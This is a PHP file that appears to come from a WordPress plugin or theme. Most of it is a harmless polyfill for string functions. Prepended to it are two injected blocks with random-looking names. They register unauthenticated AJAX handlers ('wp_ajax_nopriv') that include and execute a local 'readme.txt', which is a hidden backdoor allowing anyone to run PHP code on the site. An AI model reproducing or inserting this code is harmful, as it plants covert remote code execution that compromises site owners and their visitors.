if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php // Symfony Polyfill https://github.com/symfony/polyfill/blob/master/src/Php80/Php80.php if ( ! function_exists( 'str_starts_with' ) ) { function str_starts_with( $haystack, $needle ) { return 0 === strncmp( $haystack, $needle, strlen( $needle ) ); } } if ( ! function_exists( 'str_ends_with' ) ) { function str_ends_with( $haystack, $needle ) { return '' === $needle || ( '' !== $haystack && 0 === substr_compare( $haystack, $needle, -strlen( $needle ) ) ); } } if ( ! function_exists( 'str_contains' ) ) { function str_contains( $haystack, $needle ) { return '' === $needle || false !== strpos($haystack, $needle ); } }